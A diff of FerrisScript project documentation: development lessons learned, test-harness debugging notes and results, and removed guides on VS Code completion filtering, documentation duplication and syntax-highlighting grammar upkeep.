+   - Commit: Complete feature
+
+**Benefits**: Early validation, clear progression, easy rollback
+
+---
+
+#### 3. Document While Implementing, Not After
+
+**Anti-Pattern**:
+
+```rust
+// ❌ Write code first, document later
+fn get_property(&self, property: StringName) -> Option<Variant> {
+    // ... 50 lines of complex logic
+}
+// TODO: Add documentation
+```
+
+**Best Practice**:
+
+```rust
+// ✅ Document flow before/during implementation
+/// Called by Godot Inspector when reading a property value.
+/// 
+/// Flow:
+/// 1. Inspector needs value → calls get_property("health")
+/// 2. Check runtime storage → env.get_exported_property()
+/// 3. Found → return Some(variant)
+/// 4. Not found → return None (fallback)
+/// 
+/// Return Semantics:
+/// - Some(value) = "We handle this property"
+/// - None = "Fallback to Godot"
+fn get_property(&self, property: StringName) -> Option<Variant> {
+    // Implementation writes itself from docs above
+}
+```
+
+**Benefit**: Implementation writes itself, edge cases documented
+
+---
+
+#### 4. Test Integration, Not Just Units
+
+**Current Coverage**:
+
+- ✅ 543 compiler tests (excellent unit coverage)
+- ⚠️ 0 integration tests (gap!)
+
+**Missing**:
+
+- Compile → Runtime → Inspector sync
+- Hot-reload behavior
+- Property hook edge cases
+
+**Recommendation**: See TESTING_STRATEGY_PHASE5.md for comprehensive plan
+
+---
+
+### 📈 Efficiency Metrics
+
+| Metric | Bundle 5-6 | Bundle 7 | Bundle 8 | Total |
+|--------|------------|----------|----------|-------|
+| **Estimated Time** | 3-4 hours | 90 min | 30 min | 5.5-6 hours |
+| **Actual Time** | ~2 hours | 45 min | 20 min | ~3 hours |
+| **Efficiency Gain** | 33-50% | 50% | 33% | ~45% |
+| **Key Factor** | Reuse Bundle 1-2 | Phased approach | Simple API | Research investment |
+| **Tests Added** | 0 (existing) | 0 (headless needed) | 0 (headless needed) | 0 |
+| **Tests Passing** | 543 | 543 | 543 | 543 |
+| **Documentation** | 1400+ lines | 533 lines | 25 lines | ~2000 lines |
+
+**Total Phase 5 Sub-Phase 3**: 1.5 hours vs 2.5 estimated (40% faster)
+
+---
+
+### 🔬 Technical Decisions
+
+#### 1. Property Hooks Use Fallback Pattern
+
+**Decision**: `Option<Variant>` and `bool` return types for coexistence
+
+**Rationale**:
+
+- Allows built-in Node2D properties to work
+- Clean separation FerrisScript vs Godot
+- Graceful degradation on errors
+
+**Alternative Considered**: Always handle all properties
+
+- ❌ Would break position, rotation, etc.
+- ❌ Conflicts with Godot system
+- ❌ No fallback on errors
+
+---
+
+#### 2. Range Clamping Context-Aware
+
+**Decision**: `from_inspector` parameter controls clamping
+
+**Rationale**:
+
+- Inspector: User-facing, should prevent invalid values
+- Runtime: Developer-facing, needs full control
+- Single API serves both use cases
+
+**Alternative Considered**: Always clamp
+
+- ❌ Would break temporary overrides (power-ups, etc.)
+- ❌ Too restrictive for gameplay
+
+---
+
+#### 3. Hot-Reload via notify_property_list_changed()
+
+**Decision**: Call notification after script reload
+
+**Rationale**:
+
+- Inspector needs to know property list changed
+- Automatic refresh prevents manual scene reload
+- Consistent with Godot's GDScript behavior
+
+**Alternative Considered**: Let Inspector poll
+
+- ❌ Performance overhead
+- ❌ Delayed updates (bad UX)

+
+## Testing Metadata Standardization - October 11, 2025
+
+**Context**: Standardized TEST headers across all `.ferris` files for headless test runner integration
+
+### 🎯 What Worked Well
+
+#### 1. Consistent TEST Header Format ✅
+
+**Achievement**: All `.ferris` files now have standardized metadata headers
+
+```ferris
+// TEST: test_name
+// CATEGORY: unit|integration|error_demo
+// DESCRIPTION: Brief description
+// EXPECT: success|error
+// ASSERT: Expected output line
+// EXPECT_ERROR: E200 (optional for negative tests)
+```
+
+**Benefits**:
+
+- Automated test discovery
+- Assertion validation
+- Clear test categorization
+- Documentation self-generation
+- CI/CD integration ready
+
+**Evidence**: Updated 30+ `.ferris` files across `examples/` and `godot_test/scripts/`
+
+**Lesson**: Standardizing metadata upfront enables powerful automation later
+
+---
+
+#### 2. Documentation Consolidation ✅
+
+**Strategy**: Fold redundant documentation into test file headers
+
+**Actions**:
+
+- ✅ Removed `INSPECTOR_MINIMAL_TEST_GUIDE.md` (content now in `.ferris` headers)
+- ✅ Updated `bounce/`, `hello/`, `move/` READMEs to reference parent `.ferris` files
+- ✅ Added TEST metadata notes to `INSPECTOR_TEST_GUIDE.md`, `INSPECTOR_QUICK_REF.md`
+- ✅ Updated `examples/README.md` and `docs/testing/TESTING_GUIDE.md`
+
+**Benefit**: Single source of truth - test files ARE the documentation
+
+**Lesson**: Documentation should live closest to the code it describes
+
+---
+
+### 🐛 Bugs Discovered
+
+#### 1. Inspector Property Update Bug - Type Error Recovery ⚠️
+
+**Bug**: Inspector doesn't update properties when switching from script with type errors to valid script
+
+**Example**:
+
+```ferris
+@export let mut health: i32 = "Banana";  // ❌ E200: Type mismatch
+```
+
+**Behavior**:
+
+1. Script fails to compile (E200: expected i32, found String)
+2. Switch to different valid `.ferris` script
+3. Console shows "Script path changed" ✅
+4. **But Inspector properties don't update** ❌
+
+**Root Cause**: When compilation fails, property list isn't cleared. Switching scripts doesn't trigger property refresh if old script left node in error state.
+
+**Workaround**:
+
+- Fix type errors before switching scripts
+- Or manually refresh Inspector (click another node, click back)
+- Or reload scene
+
+**Status**: Documented in `docs/TROUBLESHOOTING.md`. Planned fix in v0.0.5:
+
+- Clear property list on compilation failure
+- Call `notify_property_list_changed()` on error paths
+- Improve error state handling in `load_script()`
+
+**Impact**: Low - only affects development workflow when fixing type errors
+
+**Lesson**: Error recovery paths need same attention as success paths
+
+---
+
+### 🚀 Best Practices Identified
+
+#### 1. TEST Metadata Guidelines
+
+**Format Rules**:
+
+- TEST name: `snake_case`, descriptive (e.g., `inspector_comprehensive`)
+- CATEGORY: `unit` (pure logic), `integration` (Godot runtime), `error_demo` (negative tests)
+- DESCRIPTION: One-line summary of what's tested
+- EXPECT: `success` (should compile/run) or `error` (should fail)
+- ASSERT: Exact console output expected (one per line)
+- EXPECT_ERROR: Error code for negative tests (e.g., `E200`, `E701`)
+
+**Example Patterns**:
+
+```ferris
+// Positive test
+// TEST: hello_world
+// CATEGORY: integration
+// EXPECT: success
+// ASSERT: Hello from FerrisScript!
+
+// Negative test
+// TEST: type_mismatch_error
+// CATEGORY: unit
+// EXPECT: error
+// EXPECT_ERROR: E200
+// EXPECT_ERROR: Type mismatch
+// EXPECT_ERROR: expected i32, found bool
+```
+
+**Lesson**: Clear conventions enable powerful tooling
+
+---
+
+#### 2. Documentation Consolidation Strategy
+
+**When to Keep Separate Documentation**:
+
+- ✅ Comprehensive learning materials (e.g., `hello/README.md` - 397 lines explaining line-by-line)
+- ✅ Testing guides with checklists (e.g., `INSPECTOR_TEST_GUIDE.md`)
+- ✅ Quick reference cards (e.g., `INSPECTOR_QUICK_REF.md`)
+
+**When to Consolidate**:
+
+- ❌ Redundant setup instructions already in test headers
+- ❌ Documentation duplicating test metadata
+- ❌ Multiple guides for same simple example
+
+**Solution**: Add cross-references:
+
+```markdown
+> **📁 Code Location**: [`../hello.ferris`](../hello.ferris)  
+> **🧪 Test Metadata**: See TEST header in .ferris file
+```
+
+**Lesson**: Keep educational content, eliminate redundancy, add clear navigation
+

+
+### 🚀 Recommendations
+
+#### For Immediate Action
+
+1. **Implement Integration Tests**: See TESTING_STRATEGY_PHASE5.md Phase 1
+   - End-to-end property read/write tests
+   - Hot-reload behavior tests
+   - Priority: 🔴 CRITICAL
+
+2. **Set Up Headless Godot**: Enable godot_bind tests in CI
+   - Install godot-headless in CI
+   - Run all 21 godot_bind tests automatically
+   - Priority: 🟠 HIGH
+
+3. **Add Property Hook Edge Cases**: 20+ edge case tests
+   - Missing properties
+   - Type mismatches
+   - Range clamping edge cases
+   - Priority: 🟠 HIGH
+
+#### For Future Phases
+
+1. **Always Research Unclear APIs**: Use dual AI approach
+   - 30 min research → saves hours of debugging
+   - Compare multiple sources
+   - Synthesize into unified plan
+
+2. **Use Phased Approach for Risky Features**:
+   - Phase 1: Verification stub (validate API)
+   - Phase 2: Full integration (complete feature)
+   - Each phase is a commit
+
+3. **Document While Implementing**:
+   - Write flow diagrams in comments
+   - Document return semantics clearly
+   - 1:1 doc-to-code ratio for complex features
+
+4. **Design for Integration from Day 1**:
+   - Think about return types for fallback
+   - Consider context-aware behavior
+   - Plan notification mechanisms

+
+## Test Harness Debugging & Integration - October 11, 2025
+
+**Date**: October 11, 2025  
+**Context**: After standardizing TEST headers, debugged and successfully integrated the headless test runner
+
+### 🎯 What Worked Well
+
+#### 1. Test Harness Architecture ✅
+
+**Components**: Clean separation of concerns
+
+- **SceneBuilder**: Dynamic .tscn generation from script metadata
+- **GodotRunner**: Headless Godot execution with timeout
+- **MetadataParser**: TEST header parsing with validation
+- **OutputParser**: Test result extraction and validation
+
+**Result**: 15/26 tests passing (58%) on first successful run
+
+**Lesson**: Well-designed test infrastructure pays off when debugging
+
+---
+
+#### 2. Root Cause Investigation Process ✅
+
+**Problem**: Test harness failed with "file not found" errors
+
+**Investigation Steps**:
+
+1. ✅ Verified Godot executable exists and runs
+2. ✅ Verified ferris-test.toml configuration correct
+3. ✅ Verified test scenes generated
+4. ✅ Ran Godot manually with test scene
+5. ✅ Examined generated scene content
+6. 🐛 **Discovered root cause**: Scripts in `examples/`, not `godot_test/scripts/`
+
+**Solution**: Added `--scripts-dir` CLI flag to test harness
+
+**Lesson**: Systematic debugging reveals issues faster than guessing
+
+---
+
+#### 3. Negative Test Support ✅
+
+**Problem**: type_error.ferris marked as failed despite correct E200 error
+
+**Root Cause**: test_runner didn't parse TEST metadata, always checked for compilation success
+
+**Fix**:
+
+```rust
+// Parse test metadata
+let metadata = crate::MetadataParser::parse_metadata(&script_content)?;
+
+// Validate test expectations (pass/fail based on metadata)
+let validation = self.parser.validate_test(&metadata, &output.stdout, &output.stderr);
+let passed = validation.passed;
+```
+
+**Result**: Negative tests (EXPECT: error) now pass correctly
+
+**Lesson**: Test harness must respect test expectations, not assume all tests expect success
+
+---
+
+### 🐛 Bugs Discovered
+
+#### 1. Test Harness: Missing Metadata Check
+
+**Issue**: test_runner.rs didn't parse TEST metadata, always assumed EXPECT: success
+
+**Symptoms**:
+
+- type_error.ferris failed despite correct E200 error
+- Negative tests incorrectly marked as failures
+
+**Fix**: Added metadata parsing and validation in `run_script()`
+
+**Status**: ✅ Fixed (v0.0.4)
+
+---
+
+#### 2. Test Harness: Hardcoded Scripts Directory
+
+**Issue**: `--all` flag hardcoded to `godot_test/scripts`, but examples in `examples/`
+
+**Symptoms**:
+
+- `ferris-test --all` failed with "file not found"
+- Single script mode worked with correct paths
+
+**Fix**: Added `--scripts-dir` CLI flag with default fallback
+
+**Status**: ✅ Fixed (v0.0.4)
+
+---
+
+#### 3. Multiple EXPECT_ERROR Lines Not Supported
+
+**Issue**: MetadataParser overwrites `expect_error` field on each EXPECT_ERROR line
+
+**Example**:
+
+```ferrisscript
+// EXPECT_ERROR: E200
+// EXPECT_ERROR: Type mismatch  // ← This overwrites previous line
+```
+
+**Workaround**: Use only one EXPECT_ERROR line per test
+
+**Future**: Support multiple expected error patterns (OR logic)
+
+**Status**: 🚧 Documented (fix planned for v0.0.5)
+
+---
+
+### 🚀 Best Practices Established
+
+#### 1. Test Metadata Format (Finalized)
+
+**Standard Header**:
+
+```ferrisscript
+// TEST: test_name
+// CATEGORY: unit|integration|error_demo
+// DESCRIPTION: Brief description
+// EXPECT: success|error
+// ASSERT: Expected output line  (required for EXPECT: success)
+// EXPECT_ERROR: E200  (required for EXPECT: error)
+```
+
+**Key Requirements**:
+
+- `EXPECT: error` tests must have `EXPECT_ERROR` with error pattern
+- `EXPECT: success` tests must have at least one `ASSERT` line
+- Integration tests requiring _process() should have runtime assertions
+
+---
+
+#### 2. Test Categories
+
+**unit**: Simple, self-contained tests that run in _ready()
+
+- Example: hello.ferris, functions.ferris, type_error.ferris
+
+**integration**: Tests requiring scene tree or _process() loop
+
+- Example: bounce.ferris, move.ferris, node_query_*.ferris
+
+**error_demo**: Negative tests demonstrating error handling
+
+- Example: type_error.ferris, node_query_error_demo.ferris
+
+---
+
+#### 3. Test Harness Usage
+
+**Run Single Test**:
+
+```powershell
+ferris-test --script "examples/hello.ferris" --verbose
+```
+
+**Run All Tests**:
+
+```powershell
+ferris-test --all --scripts-dir "examples"
+```
+
+**Filter Tests**:
+
+```powershell
+ferris-test --all --scripts-dir "examples" --filter "node_query"
+```
+
+---
+
+### 📊 Test Results (v0.0.4)
+
+**Total**: 26 tests  
+**Passing**: 15 tests (58%)  
+**Failing**: 11 tests (42%)
+
+**Passing Tests**:
+
+- ✅ branch.ferris
+- ✅ functions.ferris
+- ✅ hello.ferris
+- ✅ inspector_minimal.ferris
+- ✅ node_query_basic.ferris
+- ✅ node_query_error_demo.ferris
+- ✅ node_query_search.ferris
+- ✅ node_query_validation.ferris
+- ✅ signals.ferris
+- ✅ struct_literals_*.ferris (5 tests)
+- ✅ type_error.ferris (negative test)
+
+**Failing Tests (To Investigate)**:
+
+- ❌ bounce.ferris - Runtime test, no _ready() assertions
+- ❌ collections.ferris - Need to check assertions
+- ❌ error_showcase.ferris - May need specific output
+- ❌ inspector_test.ferris - Compilation error (syntax issue)
+- ❌ loop.ferris - Runtime test
+- ❌ match.ferris - Need to check assertions
+- ❌ move.ferris - Runtime test
+- ❌ node_query_error_handling.ferris - Missing scene nodes
+- ❌ reload.ferris - Runtime test
+- ❌ scene.ferris - Runtime test
+- ❌ test_minimal.ferris - Need to check
+
+---
+
+### 🔗 Files Modified
+
+**Test Harness**:
+
+- `crates/test_harness/src/main.rs` - Added `--scripts-dir` flag
+- `crates/test_harness/src/test_runner.rs` - Added metadata parsing & validation
+- 30+ .ferris files - Standardized TEST headers
+
+**Test Files Fixed**:
+
+- `examples/type_error.ferris` - Reduced to single EXPECT_ERROR line
+
+---
+
+### 💡 Key Takeaways
+
+1. **Test Infrastructure Investment Pays Off**: Well-structured test harness made debugging systematic
+
+2. **Metadata-Driven Testing**: TEST headers enable automated validation without manual test markers
+
+3. **Negative Tests are First-Class**: Test harness must support EXPECT: error as equal to EXPECT: success
+
+4. **Integration Tests Need Runtime**: Tests requiring _process() need different validation approach
+
+5. **CLI Flexibility Matters**: Hardcoded paths create friction; flags enable different use cases

-# VS Code Completion Prefix Filtering
-
-**Purpose**: Document VS Code's automatic prefix filtering behavior  
-**Created**: October 7, 2025  
-**Applies To**: VS Code extensions, completion providers, auto-complete features
-
----
-
-## 🎯 Key Concept
-
-⚠️ **Important**: VS Code **automatically filters** completion items based on what the user has typed.
-
-This is **built-in behavior**, not something your extension controls. Understanding this prevents confusion about "missing" completions.
-
----
-
-## 📋 How Prefix Filtering Works
-
-### Example: Boolean Literals
-
-Your completion provider returns both `true` and `false`:
-
-```typescript
-return [
-    { label: 'true', ... },
-    { label: 'false', ... }
-];
-```
-
-**What user sees**:
-
-| User Types | VS Code Shows | Why |
-|------------|---------------|-----|
-| (nothing) | `true`, `false` | No filter - all items shown |
-| `Ctrl+Space` | `true`, `false` | Manual trigger - all items shown |
-| `t` | `true` | Matches prefix "t" |
-| `tr` | `true` | Matches prefix "tr" |
-| `tru` | `true` | Matches prefix "tru" |
-| `f` | `false` | Matches prefix "f" |
-| `fa` | `false` | Matches prefix "fa" |
-| `x` | (nothing) | No matches for "x" |
-
-**Key Point**: User typing `tr` and **not seeing** `false` is **correct behavior**.
-
----
-
-## 🧪 Real Examples from FerrisScript
-
-### Example 1: Type Completion
-
-Provider returns all types:
-
-```typescript
-return [
-    { label: 'i32', ... },
-    { label: 'f32', ... },
-    { label: 'bool', ... },
-    { label: 'String', ... },
-    { label: 'Vector2', ... },
-    { label: 'Node', ... },
-    { label: 'void', ... }
-];
-```
-
-**User types `let pos: V`**:
-
-- ✅ `Vector2` appears (matches "V")
-- ✅ `void` appears (matches "v" case-insensitive)
-- ❌ `i32`, `f32`, `bool`, `String`, `Node` do NOT appear (don't match "V")
-
-**This is expected**. Without typing "V" (just `let pos:`), all types appear.
-
-### Example 2: Keywords
-
-Provider returns all keywords:
-
-```typescript
-return [
-    { label: 'if', ... },
-    { label: 'else', ... },
-    { label: 'while', ... },
-    { label: 'return', ... },
-    { label: 'let', ... }
-];
-```
-
-**User types `i` at statement start**:
-
-- ✅ `if` appears (matches "i")
-- ❌ `else`, `while`, `return`, `let` do NOT appear (don't match "i")
-
----
-
-## ✅ Testing Best Practices
-
-### Test Both Scenarios
-
-For every completion context, test:
-
-1. **No prefix** (user hasn't typed anything)
-   - Press `Ctrl+Space` at cursor position
-   - Verify ALL expected items appear
-
-2. **With prefix** (user has typed 1-3 characters)
-   - Type single character (e.g., "i", "V", "t")
-   - Verify ONLY matching items appear
-   - Verify non-matching items do NOT appear
-
-### Example Test Cases
-
-```markdown
-## Test: Type Completion
-
-**Setup**: Type `let x: `
-
-**Test 1 - No Prefix**:
-- Press Ctrl+Space (don't type anything)
-- Expected: All types appear (i32, f32, bool, String, Vector2, Node, void)
-
-**Test 2 - Prefix "i"**:
-- Type "i" after colon: `let x: i`
-- Expected: Only i32 appears
-- NOT expected: f32, bool, String, Vector2, Node, void
-
-**Test 3 - Prefix "V"**:
-- Type "V" after colon: `let x: V`
-- Expected: Vector2, void appear (case-insensitive match)
-- NOT expected: i32, f32, bool, String, Node
-```
-
----
-
-## 🐛 Common Misunderstandings
-
-### ❌ "My completion is broken - it's not showing all items!"
-
-**Issue**: User typed prefix, only sees matching items
-
-**Reality**: This is **correct behavior**. VS Code is filtering by prefix.
-
-**Fix**: Test without typing anything (Ctrl+Space)
-
-### ❌ "false doesn't appear when I type true"
-
-**Issue**: Expected both `true` and `false` in completion list
-
-**Reality**: Typing "tr" filters to only items matching "tr". `false` doesn't match.
-
-**Fix**: Type "f" to see `false`, or press Ctrl+Space to see both
-
-### ❌ "Vector2 is the only type showing"
-
-**Issue**: Expected all types when typing `let pos: V`
-
-**Reality**: "V" prefix filters to only Vector2 and void
-
-**Fix**: Don't type anything, just `let pos:` and press Ctrl+Space
-
----
-
-## 📖 Documentation Pattern
-
-When documenting completion features, always clarify prefix filtering:
-
-### Good Documentation ✅
-
-```markdown
-**Expected Results**:
-- [ ] Type `let x: ` and press Ctrl+Space → All types appear
-- [ ] Type `let x: i` → Only i32 appears (prefix filtering)
-- [ ] Type `let x: V` → Only Vector2 and void appear (prefix filtering)
-
-**Note**: VS Code automatically filters completions by prefix. Type "i" to see
-i32, or "V" to see Vector2. Press Ctrl+Space without typing to see all types.
-```
-
-### Bad Documentation ❌
-
-```markdown
-**Expected Results**:
-- [ ] All types appear
-
-**Note**: Sometimes only some types show up (unclear when/why)
-```
-
----
-
-## 🔧 Implementation Notes
-
-### Your Provider Returns Everything
-
-Your completion provider should return **all valid items** for the context:
-
-```typescript
-provideCompletionItems(document, position) {
-    const context = detectContext(document, position);
-    
-    if (context === TypePosition) {
-        // Return ALL types - VS Code will filter by prefix
-        return [
-            { label: 'i32', ... },
-            { label: 'f32', ... },
-            { label: 'bool', ... },
-            { label: 'String', ... },
-            { label: 'Vector2', ... },
-            { label: 'Node', ... },
-            { label: 'void', ... }
-        ];
-    }
-}
-```
-
-**Don't** try to filter based on what user has typed - VS Code does this automatically.
-
-### Prefix Matching Rules
-
-VS Code matches prefixes:
-
-- **Case-insensitive** by default
-- **Substring matching** can be configured
-- **Fuzzy matching** can be enabled
-
-For FerrisScript, default case-insensitive prefix matching is sufficient.
-
----
-
-## 🧪 Interactive Testing Checklist
-
-When testing completion features:
-
-- [ ] Open test file with `.ferris` extension
-- [ ] Type trigger character (e.g., `:` for types)
-- [ ] **Test 1**: Press `Ctrl+Space` without typing → verify ALL items
-- [ ] **Test 2**: Type single character (e.g., "i") → verify filtered items
-- [ ] **Test 3**: Type longer prefix (e.g., "Vec") → verify further filtered
-- [ ] **Test 4**: Type invalid prefix (e.g., "zzz") → verify no items
-- [ ] **Test 5**: Delete characters → verify items reappear as prefix shortens
-
----
-
-## 📊 Troubleshooting Guide
-
-| Symptom | Likely Cause | Solution |
-|---------|--------------|----------|
-| No completions at all | Context detection failed | Check regex in detectContext() |
-| Only some items show | User has typed prefix | Test with Ctrl+Space (no typing) |
-| Wrong items appear | Wrong context detected | Verify context detection logic |
-| Items appear then disappear | Typing narrows prefix | Expected - keep typing or delete |

-
-## 📝 Quick Reference
-
-**Remember**:
-
-1. Your provider returns ALL valid items for context
-2. VS Code filters based on user's typed prefix
-3. Test BOTH with and without typing
-4. Document prefix filtering behavior in tests
-5. "Missing" items usually = prefix filtering working correctly
-
-**Time Investment**: 2 minutes to add note in docs  
-**Time Saved**: 15-20 minutes explaining "missing" completions later
-
----
-
-**Usage**: Reference this document when implementing any completion provider. Add prefix filtering notes to all test documentation.

-## Duplication Detection Checklist
-
-Before writing documentation, ask:
-
-1. **Does this content already exist?**
-   - Search existing docs for the topic
-   - Check this matrix for ownership
-
-2. **Is this a high-traffic topic?**
-   - Installation → README.md only
-   - Contributing → CONTRIBUTING.md only
-   - Code of Conduct → CODE_OF_CONDUCT.md only
-
-3. **Should I link instead of duplicate?**
-   - If content is >3 lines, probably yes
-   - If it's a process/command, definitely yes
-
-4. **Will this get out of sync?**
-   - If commands might change, link to primary source
-   - If it's dynamic (versions, steps), don't duplicate
-
-5. **Is there a better place for this?**
-   - Installation details → README.md
-   - Error solutions → TROUBLESHOOTING.md
-   - Process workflows → CONTRIBUTING.md
-
----
-
-## Current State (v0.0.1)
-
-### ✅ No Duplication Found
-
-Based on validation, FerrisScript v0.0.1 has **no documentation duplication**:
-- Installation only in README.md
-- Godot integration only in README.md
-- Architecture details only in ARCHITECTURE.md
-- Development only in DEVELOPMENT.md (root)
-
-### ⚠️ Potential Risk: DEVELOPMENT.md
-
-**Issue:** Both `DEVELOPMENT.md` (root) and `docs/DEVELOPMENT.md` exist.
-
-**Investigation:**
-- Root `DEVELOPMENT.md`: Exists, used by contributors
-- `docs/DEVELOPMENT.md`: Does NOT exist (false positive in inventory)
-
-**Resolution:** ✅ No action needed. Only one DEVELOPMENT.md exists.
-
----
-
-## v0.0.2 Prevention Strategy
-
-### When Creating New Docs (Phase 2-4):
-
-1. **CONTRIBUTING.md**
-   - ✅ DO: Link to README.md for installation
-   - ✅ DO: Add development-specific setup (IDE, extensions)
-   - ❌ DON'T: Duplicate installation commands
-   - ❌ DON'T: Duplicate language overview
-
-2. **FAQ.md**
-   - ✅ DO: Provide quick answers with links
-   - ✅ DO: Link to TROUBLESHOOTING.md for details
-   - ❌ DON'T: Duplicate installation instructions
-   - ❌ DON'T: Duplicate error solutions from TROUBLESHOOTING.md
-
-3. **TROUBLESHOOTING.md**
-   - ✅ DO: Provide detailed error solutions
-   - ✅ DO: Reference README.md for correct commands
-   - ❌ DON'T: Repeat basic installation steps
-   - ❌ DON'T: Duplicate FAQ answers
-
-4. **Issue/PR Templates**
-   - ✅ DO: Link to CONTRIBUTING.md
-   - ✅ DO: Enforce process with checklists
-   - ❌ DON'T: Duplicate contribution guidelines
-
----
-
-## Maintenance Strategy
-
-### Monthly Review
-- Check for new duplicates (search for repeated commands)
-- Validate all cross-reference links
-- Update this matrix if ownership changes
-
-### Version Release
-- Archive version-specific docs
-- Update primary docs for new version
-- Ensure links still point to correct sections
-
-### Documentation PRs
-- Reviewer must check this matrix
-- Verify no duplication introduced
-- Confirm links used instead of copying
-
----
-
-## Validation Commands
-
-### Check for Duplicate Installation Commands
-```powershell
-# Search for "git clone" in all markdown files
-Get-ChildItem -Path . -Recurse -Include "*.md" | Select-String "git clone" | Select-Object Path, LineNumber
-```
-
-### Check for Duplicate Prerequisites
-
-```powershell
-# Search for "Rust 1.70" in all markdown files
-Get-ChildItem -Path . -Recurse -Include "*.md" | Select-String "Rust 1.70" | Select-Object Path, LineNumber
-```
-
-### Check for Duplicate Godot Steps
-
-```powershell
-# Search for "_ready()" function in docs (should only be in examples)
-Get-ChildItem -Path . -Recurse -Include "*.md" | Select-String "_ready\(\)" | Select-Object Path, LineNumber
-```
-
----
-
-## Future Considerations
-
-### Auto-Generated Documentation
-
-- API reference (from Rust docs)
-- Test coverage reports
-- Benchmark results
-
-**Rule:** Never manually duplicate auto-generated content. Always link to generated docs.
-
-### Localization/Translations
-
-If FerrisScript adds translated docs:
-
-- Translate entire files, not snippets
-- Maintain same structure as English docs
-- Update all translations when primary source changes
-

-# Syntax Highlighting Maintenance Guide
-
-**Purpose**: Ensure VS Code syntax highlighting stays synchronized with FerrisScript language features  
-**Location**: `extensions/vscode/syntaxes/ferrisscript.tmLanguage.json`  
-**Created**: October 5, 2025 (v0.0.2 - Phase 5B)
-
----
-
-## Overview
-
-FerrisScript's VS Code extension uses a TextMate grammar file to provide syntax highlighting. As the language evolves, this grammar must be updated to highlight new keywords, operators, and syntax constructs.
-
-**Key Principle**: Grammar updates should happen **in the same PR** as language feature additions.
-
----
-
-## When to Update the Grammar
-
-### Trigger Events ✅
-
-Update the grammar file when adding:
-
-1. **New keywords** (e.g., `match`, `for`, `struct`, `enum`, `trait`)
-2. **New operators** (e.g., `%`, `**`, `??`, `?.`)
-3. **New literal types** (e.g., array literals `[1, 2, 3]`, dict literals `{key: value}`)
-4. **New syntax constructs** (e.g., attributes `@export`, decorators, macros)
-5. **New types** (e.g., `u32`, `i64`, `Color`, `Rect2`)
-6. **New built-in functions** (e.g., Godot functions like `get_node`)
-
-### Examples
-
-**Adding `for` loop**:
-
-```ferrisscript
-// New syntax
-for item in collection {
-    print(item);
-}
-```
-
-**Required grammar updates**:
-
-- Add `for` and `in` to keywords pattern
-- Consider adding special highlighting for iterators
-
-**Adding `match` expression**:
-
-```ferrisscript
-// New syntax
-match value {
-    1 => print("one"),
-    2 => print("two"),
-    _ => print("other")
-}
-```
-
-**Required grammar updates**:
-
-- Add `match` keyword
-- Add `=>` operator (fat arrow)
-- Add `_` wildcard pattern
-
----
-
-## How to Update the Grammar
-
-### Step 1: Identify Changes
-
-Review the PR changes to identify new syntax elements:
-
-```bash
-# Check for new tokens in lexer
-git diff main crates/compiler/src/lexer.rs
-
-# Check for new types
-git diff main crates/compiler/src/type_checker.rs
-```
-
-Look for new `Token` enum variants or `Type` enum variants.
-
-### Step 2: Update Grammar File
-
-Open `extensions/vscode/syntaxes/ferrisscript.tmLanguage.json`
-
-#### Adding New Keywords
-
-Find the `keywords` pattern and add the new keyword:
-
-```json
-{
-  "name": "keyword.control.ferrisscript",
-  "match": "\\b(if|else|while|return|for|match)\\b"
-}
-```
-
-**Scope Naming Conventions**:
-
-- Control flow: `keyword.control.ferrisscript` (if, else, while, for, match, return)
-- Declarations: `keyword.other.ferrisscript` (fn, let, mut, struct, enum)
-- Modifiers: `storage.modifier.ferrisscript` (pub, const, static)
-
-#### Adding New Types
-
-Find the `types` pattern and add the new type:
-
-```json
-{
-  "name": "entity.name.type.primitive.ferrisscript",
-  "match": "\\b(i32|f32|bool|void|u32|i64|u64)\\b"
-}
-```
-
-#### Adding New Operators
-
-Find the `operators` pattern and add the new operator:
-
-```json
-{
-  "name": "keyword.operator.arithmetic.ferrisscript",
-  "match": "(\\+|-|\\*|/|%)"
-}
-```
-
-**Note**: Escape special regex characters: `*` → `\\*`, `.` → `\\.`, `?` → `\\?`
-
-#### Adding Complex Patterns
-
-For more complex syntax (like match expressions), add a new repository entry:
-
-```json
-{
-  "repository": {
-    "match-expression": {
-      "patterns": [
-        {
-          "begin": "\\bmatch\\b",
-          "end": "}",
-          "beginCaptures": {
-            "0": { "name": "keyword.control.match.ferrisscript" }
-          },
-          "patterns": [
-            { "include": "#match-arm" },
-            { "include": "$self" }
-          ]
-        }
-      ]
-    }
-  }
-}
-```
-
-### Step 3: Test the Grammar
-
-#### Local Testing
-
-1. **Install extension locally**:
-
-   ```bash
-   # Copy to VS Code extensions directory
-   # Windows
-   cp -r extensions/vscode ~/.vscode/extensions/ferrisscript-0.1.0
-   
-   # Reload VS Code (Ctrl+Shift+P → "Reload Window")
-   ```
-
-2. **Open test files**:
-
-   ```bash
-   code examples/hello.ferris
-   code examples/move.ferris
-   code examples/bounce.ferris
-   ```
-
-3. **Verify highlighting**:
-   - New keywords are highlighted correctly
-   - Colors match existing conventions
-   - No broken highlighting on adjacent code
-
-4. **Create test file** with new syntax:
-
-   ```ferrisscript
-   // test_new_syntax.ferris
-   fn test_match() {
-       match value {
-           1 => print("one"),
-           _ => print("other")
-       }
-   }
-   ```
-
-#### Automated Testing
-
-Currently no automated tests for grammar. Consider adding in future:
-
-- VS Code extension tests using `vscode-test`
-- Snapshot tests for syntax highlighting output
-
-### Step 4: Update Documentation
-
-Update the following files:
-
-1. **Extension CHANGELOG.md**:
-
-   ```markdown
-   ## [0.2.0] - YYYY-MM-DD
-   
-   ### Added
-   - Syntax highlighting for `match` keyword
-   - Syntax highlighting for `=>` operator (fat arrow)
-   - Syntax highlighting for `_` wildcard pattern
-   ```
-
-2. **Extension README.md** (if major feature):
-
-   ```markdown
-   ### Syntax Highlighting
-   
-   - **Keywords**: `fn`, `let`, `mut`, `if`, `else`, `while`, `return`, `match`, `for`
-   ```
-
-3. **Commit message**:
-
-   ```
-   feat(vscode): add syntax highlighting for match expressions
-   
-   - Add `match` keyword highlighting
-   - Add `=>` fat arrow operator
-   - Add wildcard pattern `_` highlighting
-   - Test on examples/pattern_matching.ferris
-   
-   Part of #123 (Add pattern matching support)
-   ```
-
-### Step 5: Update Version
-
-If this is the only change, increment patch version:
-
-```json
-// extensions/vscode/package.json
-{
-  "version": "0.1.1"  // was 0.1.0
-}
-```
-
-If part of larger feature release, version bump happens with that release.

-## Quarterly Grammar Audit
-
-**Frequency**: Every 3 months  
-**Owner**: Maintainer or designated contributor
-
-### Audit Checklist
-
-- [ ] Review `crates/compiler/src/lexer.rs` Token enum
-  - [ ] Compare against grammar keywords
-  - [ ] Note any missing tokens
-  
